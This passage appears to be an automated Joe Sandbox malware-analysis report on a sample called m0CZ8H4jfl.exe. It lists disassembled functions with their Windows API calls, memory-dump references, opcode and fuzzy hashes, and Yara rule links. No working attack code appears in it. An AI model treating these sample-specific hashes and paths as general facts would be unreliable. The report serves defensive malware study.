Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,?,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,?), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,?), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,?), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,?), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,?,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7
Call, xrefs: 00404715, 0040471A, 00404725
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-922056177
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(?,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
